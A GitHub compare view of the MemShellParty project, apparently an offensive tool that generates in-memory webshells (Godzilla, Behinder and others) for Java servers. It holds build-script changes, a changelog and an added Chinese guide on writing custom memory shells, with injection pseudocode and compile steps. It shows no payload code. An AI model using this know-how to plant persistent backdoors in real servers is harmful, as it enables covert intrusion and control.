Compare commits

...
34 Commits
Author SHA1 Message Date
ReaJason 9fa01834e7 chore: 1.10.0 2025-06-07 14:35:53 +08:00
ReaJason 85b7750ab8 docs: add WriteCustomShell.md 2025-06-07 14:35:29 +08:00
ReaJason 9c5dc1fa9d docs: update README 2025-06-07 14:35:13 +08:00
ReaJason a833e3acdd docs: update CHANGELOG 2025-06-07 14:33:57 +08:00
ReaJason b12a8530f2 build: use Kotlin DSL 2025-06-07 13:31:18 +08:00
ReaJason 74701926b6 chore: upgrade Gradle 8.14.2 2025-06-07 13:31:18 +08:00
ReaJason a371c6adb6 chore: upgrade dep 2025-06-07 13:31:18 +08:00
ReaJason cd9c9ef162 fix(ui): copy button position on mobile 2025-06-07 13:31:18 +08:00
ReaJason d4ff5fdf65 fix(ui): input placeholder font-size on mobile 2025-06-07 13:31:18 +08:00
ReaJason 1dc27116f1 refactor: combine normal and bypass JSP template 2025-06-07 13:31:18 +08:00
ReaJason f43218b5e1 feat: support JBossAS ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 04bbddee6b feat: support Tomcat ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 59cf8674f1 fix: TongWeb8 Valve not work 2025-06-07 13:31:18 +08:00
ReaJason 9572b90cef refactor: merge JBossAS and GlassFish 2025-06-07 13:31:18 +08:00
ReaJason 96044dc231 fix: Glassfish3 classNotFound 2025-06-07 13:31:18 +08:00
ReaJason bae97ec554 refactor: simplify base64 and getFieldValue method 2025-06-07 13:31:18 +08:00
ReaJason b6ba3c632a test: add servlet for Tomcat8 2025-06-07 13:31:18 +08:00
ReaJason 453ef58b15 refactor: catch Throwable 2025-06-07 13:31:18 +08:00
ReaJason a37e32deb2 refactor: move method order 2025-06-07 13:31:18 +08:00
ReaJason faee94d77e refactor: use TypeDescription 2025-06-07 13:31:18 +08:00
ReaJason b0e2e218f0 ci: deploy when boot or web update 2025-06-07 13:31:18 +08:00
ReaJason 6fee88d761 feat: use new theme 2025-06-07 13:31:18 +08:00
ReaJason d6613f770a chore: 1.10.0-SNAPSHOT 2025-06-07 13:31:18 +08:00
ReaJason 5627604ba9 refactor: merge memshell module 2025-06-07 13:31:18 +08:00
ReaJason c1e0fbbc18 refactor: rename packageName 2025-06-07 13:31:18 +08:00
ReaJason 74079d81ed test: unit test failed 2025-06-07 13:31:18 +08:00
ReaJason 9792f242ce test: add Apusic pid sh 2025-06-07 13:31:18 +08:00
ReaJason 3ae57d6b67 refactor: simplify generateBytes code 2025-06-07 13:31:18 +08:00
ReaJason 69f554ae4e feat: support defineClass JSP packers 2025-06-07 13:31:18 +08:00
ReaJason 8565dd9c52 test: add --debug for suo5 2025-06-07 13:31:18 +08:00
ReaJason 021e0a3e9d refactor: build valve and listener shell when generate 2025-06-07 13:31:18 +08:00
ReaJason dc958d49df fix: Godzilla not work on latest version 2025-06-07 13:31:18 +08:00
ReaJason 5f83b52bc0 docs: add Tomcat context comment 2025-06-07 13:31:18 +08:00
ReaJason 59bcd6aecf docs: update screenshots 2025-05-28 22:33:49 +08:00
288 changed files with 3483 additions and 7353 deletions
-2
View File
@@ -6,8 +6,6 @@ on:
- dev
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
- '**/*.png'
+1 -1
View File
@@ -87,7 +87,7 @@ jobs:
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springmvc"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
+29 -1
View File
@@ -5,12 +5,40 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
### Added
- 添加新的 JSP 打包方式(直接使用 defineClass 进行注入)(by @zema1 #67)
- 支持 Tomcat 和 JBossAS ProxyValve 内存马(通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑)
### Fixed
- 修复哥斯拉无法使用最新版连接
- 修复 TongWeb8 Valve 未适配
- 修复移动端 UI 输入框 placeholder 字体过大
- 修复移动端 UI 类名复制按钮超出卡片范围
### Changed
- 修改 Valve 和 Listener 字节码修改时机,改为生成时再进行修改,方便自定义内存马生成
- 合并 memshell 与 memshell-jdk8 模块,方便维护
- UI 使用新的 shadcn/ui 提供的 Zinc 主题配置
- 将所有 Shell 捕获异常从 Exception 改为 Throwable
- 简化 Shell base64 方法代码
- Gradle 更新至 8.14.2
- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为
Kotlin DSL
**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
### Added
- 支持 TongWeb8 内存马生成 by @ReaJason
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader() 为请求线程
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader()
为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
+2
View File
@@ -187,6 +187,7 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
@@ -202,6 +203,7 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
Binary file not shown.

Before

Width:  |  Height:  |  Size: 130 KiB

After

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 242 KiB

After

Width:  |  Height:  |  Size: 265 KiB

-63
View File
@@ -1,63 +0,0 @@
plugins {
id 'java'
id 'org.springframework.boot' version '3.4.6'
id 'io.spring.dependency-management' version '1.1.7'
}
group = 'com.reajason.javaweb'
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
configurations {
compileOnly {
extendsFrom annotationProcessor
}
}
dependencies {
implementation(project(":generator")) {
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation(project(":deserialize")) {
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
}
implementation 'org.apache.commons:commons-lang3:3.17.0'
implementation 'org.springframework.boot:spring-boot-starter-undertow'
compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools'
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
annotationProcessor 'org.projectlombok:lombok'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
}
test {
useJUnitPlatform()
}
+48
View File
@@ -0,0 +1,48 @@
plugins {
id("java")
id("org.springframework.boot") version "3.5.0"
id("io.spring.dependency-management") version "1.1.7"
}
group = "io.github.reajason"
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
configurations {
compileOnly {
extendsFrom(configurations.annotationProcessor.get())
}
}
dependencies {
implementation(project(":generator")) {
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
exclude(group = "commons-logging", module = "commons-logging")
}
implementation(project(":deserialize")) {
exclude(group = "commons-logging", module = "commons-logging")
}
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web") {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
}
implementation("org.apache.commons:commons-lang3:3.17.0")
implementation("org.springframework.boot:spring-boot-starter-jetty")
compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
annotationProcessor("org.projectlombok:lombok")
testImplementation("org.springframework.boot:spring-boot-starter-test")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
}
tasks.test {
useJUnitPlatform()
}
-119
View File
@@ -1,119 +0,0 @@
import com.vanniktech.maven.publish.SonatypeHost
version = '1.9.0'
buildscript {
repositories {
mavenCentral()
gradlePluginPortal()
}
dependencies {
classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0'
classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1"
}
}
allprojects {
group = 'io.github.reajason'
if (it.name != 'memshell-party-bom') {
apply(plugin: 'java')
apply(plugin: 'idea')
apply(plugin: 'jacoco')
apply(plugin: 'io.freefair.lombok')
}
apply(plugin: 'com.vanniktech.maven.publish')
mavenPublishing {
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
signAllPublications()
coordinates("io.github.reajason", project.name, rootProject.version as String)
pom {
name = 'MemShellParty'
description = project.description
url = 'https://github.com/ReaJason/MemShellParty'
inceptionYear = '2025'
licenses {
license {
name = 'MIT'
url = 'https://spdx.org/licenses/MIT.html'
}
}
developers {
developer {
id = 'reajason'
name = 'ReaJason'
url = "https://reajason.eu.org"
}
}
scm {
connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git'
developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git'
url = 'https://github.com/ReaJason/MemShellParty'
}
}
}
if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) {
dependencies {
implementation platform(project(':memshell-party-bom'))
}
}
repositories {
mavenCentral()
}
}
idea {
module {
excludeDirs += file('src')
}
}
jacocoTestReport {
reports {
xml.required = true
csv.required = true
html.required = true
}
afterEvaluate {
executionData.from fileTree(rootDir) {
include '**/build/jacoco/**/*.exec'
}
sourceDirectories = files('generator/src/main/java')
classDirectories.from(
fileTree('generator/build/classes/java/main') {
excludes = [
'com/reajason/javaweb/memshell/**/godzilla/**',
'com/reajason/javaweb/memshell/**/injector/**',
'com/reajason/javaweb/memshell/**/command/**',
'com/reajason/javaweb/config/**'
]
}
)
}
}
tasks.register('publishAllToMavenCentral') {
def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT')
if (isSnapshot) {
dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository'
dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository'
dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository'
dependsOn ':generator:publishAllPublicationsToMavenCentralRepository'
} else {
dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral'
dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral'
dependsOn ':deserialize:publishAndReleaseToMavenCentral'
dependsOn ':memshell:publishAndReleaseToMavenCentral'
dependsOn ':memshell-java8:publishAndReleaseToMavenCentral'
dependsOn ':generator:publishAndReleaseToMavenCentral'
}
}
+21
View File
@@ -0,0 +1,21 @@
plugins {
id("java")
}
version = "1.10.0"
tasks.register("publishAllToMavenCentral") {
val isSnapshot = rootProject.version.toString().endsWith("-SNAPSHOT")
if (isSnapshot) {
dependsOn(":memshell-party-bom:publishAllPublicationsToMavenCentralRepository")
dependsOn(":memshell-party-common:publishAllPublicationsToMavenCentralRepository")
dependsOn(":deserialize:publishAllPublicationsToMavenCentralRepository")
dependsOn(":memshell:publishAllPublicationsToMavenCentralRepository")
dependsOn(":generator:publishAllPublicationsToMavenCentralRepository")
} else {
dependsOn(":memshell-party-bom:publishAndReleaseToMavenCentral")
dependsOn(":memshell-party-common:publishAndReleaseToMavenCentral")
dependsOn(":deserialize:publishAndReleaseToMavenCentral")
dependsOn(":memshell:publishAndReleaseToMavenCentral")
dependsOn(":generator:publishAndReleaseToMavenCentral")
}
}
+11
View File
@@ -0,0 +1,11 @@
plugins {
`kotlin-dsl`
}
repositories {
mavenCentral()
}
dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.32.0")
}
@@ -0,0 +1,40 @@
import com.vanniktech.maven.publish.SonatypeHost
plugins {
id("com.vanniktech.maven.publish")
}
mavenPublishing {
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
signAllPublications()
coordinates(
"io.github.reajason",
project.name,
rootProject.version as String
)
pom {
name.set("MemShellParty")
description.set(project.description)
url.set("https://github.com/ReaJason/MemShellParty")
inceptionYear.set("2025")
licenses {
license {
name.set("MIT")
url.set("https://spdx.org/licenses/MIT.html")
}
}
developers {
developer {
id.set("reajason")
name.set("ReaJason")
url.set("https://reajason.eu.org")
}
}
scm {
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
url.set("https://github.com/ReaJason/MemShellParty")
}
}
}
-28
View File
@@ -1,28 +0,0 @@
group = 'io.github.reajason'
description = "Java deserialize payload for MemShellParty"
version = rootProject.version
dependencies {
implementation project(":memshell-party-common")
implementation 'net.bytebuddy:byte-buddy'
implementation 'com.caucho:hessian:4.0.66'
implementation 'commons-beanutils:commons-beanutils:1.9.2'
implementation 'commons-collections:commons-collections:3.2.1'
implementation 'org.apache.commons:commons-collections4:4.0'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
test {
useJUnitPlatform()
}
+33
View File
@@ -0,0 +1,33 @@
plugins {
id("java")
alias(libs.plugins.lombok)
id("maven-publish-convention")
}
group = "io.github.reajason"
description = "Java deserialize payload for MemShellParty"
version = rootProject.version
dependencies {
implementation(platform(project(":memshell-party-bom")))
implementation(project(":memshell-party-common"))
implementation("net.bytebuddy:byte-buddy")
implementation("com.caucho:hessian:4.0.66")
implementation("commons-beanutils:commons-beanutils:1.9.2")
implementation("commons-collections:commons-collections:3.2.1")
implementation("org.apache.commons:commons-collections4:4.0")
testImplementation(platform("org.junit:junit-bom"))
testImplementation("org.junit.jupiter:junit-jupiter")
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
tasks.test {
useJUnitPlatform()
}
+2
View File
@@ -185,6 +185,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
@@ -200,6 +201,7 @@ Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
+54
View File
@@ -0,0 +1,54 @@
## 如何使用自定义内存马功能
MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下:
```java
Object context = getContext();
Object shell = defineClass(getShellBase64Str());
inject(context, shell);
```
自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。
注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。
### 实现参考
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
jakarta,无须重复实现。
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
方法上,因此推荐按参考实现一样使用空实现。
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`
`javax.crypto.Cipher`
| 挂载类型 | 参考实现 |
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
### 参考步骤
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
3. 执行 `./gradlew :memshell:compileJava``.\gradlew.bat :memshell:compileJava`
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
-65
View File
@@ -1,65 +0,0 @@
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
group = 'io.github.reajason'
description = "MemShell Generator for Java"
version = rootProject.version
// 测试使用 JDK17 进行编译与运行
tasks.withType(Test).configureEach {
javaLauncher = javaToolchains.launcherFor {
languageVersion = JavaLanguageVersion.of(17)
}
}
tasks.named('compileTestJava') {
javaCompiler = javaToolchains.compilerFor {
languageVersion = JavaLanguageVersion.of(17)
}
sourceCompatibility = JavaVersion.VERSION_17
targetCompatibility = JavaVersion.VERSION_17
}
test {
useJUnitPlatform()
finalizedBy jacocoTestReport
}
dependencies {
implementation project(":memshell-party-common")
implementation project(":deserialize")
implementation project(":memshell")
implementation project(":memshell-java8")
implementation 'net.bytebuddy:byte-buddy'
implementation 'org.ow2.asm:asm-commons'
implementation 'net.java.dev.jna:jna'
implementation 'net.java.dev.jna:jna-platform'
implementation 'javax.servlet:javax.servlet-api'
implementation 'javax.websocket:javax.websocket-api'
implementation 'org.apache.bcel:bcel'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'com.squareup.okhttp3:okhttp'
implementation 'ch.qos.logback:logback-classic'
implementation 'com.fasterxml.jackson.core:jackson-databind'
implementation 'org.springframework:spring-webmvc'
implementation 'org.springframework:spring-webflux'
implementation 'io.projectreactor.netty:reactor-netty-core'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
testImplementation "org.mockito:mockito-core"
testImplementation 'org.mockito:mockito-junit-jupiter'
}
+55
View File
@@ -0,0 +1,55 @@
plugins {
id("java")
alias(libs.plugins.lombok)
id("maven-publish-convention")
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
group = "io.github.reajason"
description = "MemShell Generator for Java"
version = rootProject.version
tasks.compileTestJava {
javaCompiler.set(javaToolchains.compilerFor {
languageVersion.set(JavaLanguageVersion.of(17))
})
}
tasks.test {
useJUnitPlatform()
}
dependencies {
implementation(platform(project(":memshell-party-bom")))
implementation(project(":memshell-party-common"))
implementation(project(":deserialize"))
implementation(project(":memshell"))
implementation("net.bytebuddy:byte-buddy")
implementation("org.ow2.asm:asm-commons")
implementation("net.java.dev.jna:jna")
implementation("net.java.dev.jna:jna-platform")
implementation("javax.servlet:javax.servlet-api")
implementation("javax.websocket:javax.websocket-api")
implementation("org.apache.bcel:bcel")
implementation("commons-io:commons-io")
implementation("org.apache.commons:commons-lang3")
implementation("com.squareup.okhttp3:okhttp")
implementation("ch.qos.logback:logback-classic")
implementation("com.fasterxml.jackson.core:jackson-databind")
implementation("org.springframework:spring-webmvc")
implementation("org.springframework:spring-webflux")
implementation("io.projectreactor.netty:reactor-netty-core")
testImplementation(platform("org.junit:junit-bom"))
testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
testImplementation("org.mockito:mockito-core")
testImplementation("org.mockito:mockito-junit-jupiter")
}
@@ -1,8 +1,10 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import org.apache.commons.lang3.StringUtils;
@@ -45,7 +47,7 @@ public class MemShellGenerator {
shellToolConfig.setShellClass(shellClass);
}
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
@@ -66,25 +68,4 @@ public class MemShellGenerator {
.injectorInnerClassBytes(innerClassBytes)
.build();
}
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
switch (shellConfig.getShellTool()) {
case Godzilla:
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command:
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
case Behinder:
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5:
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
case AntSword:
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
case NeoreGeorg:
return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
case Custom:
return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
}
}
}
@@ -24,7 +24,8 @@ import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.ClassLoaderJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefineClassJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
@@ -68,7 +69,8 @@ public enum Packers {
* JSP 打包器
*/
JSP(new JspPacker()),
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class),
/**
@@ -140,10 +142,6 @@ public enum Packers {
this.parentPacker = parentPacker;
}
public static Packer getPacker(Packers packerType) {
return null;
}
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
}
@@ -7,27 +7,6 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
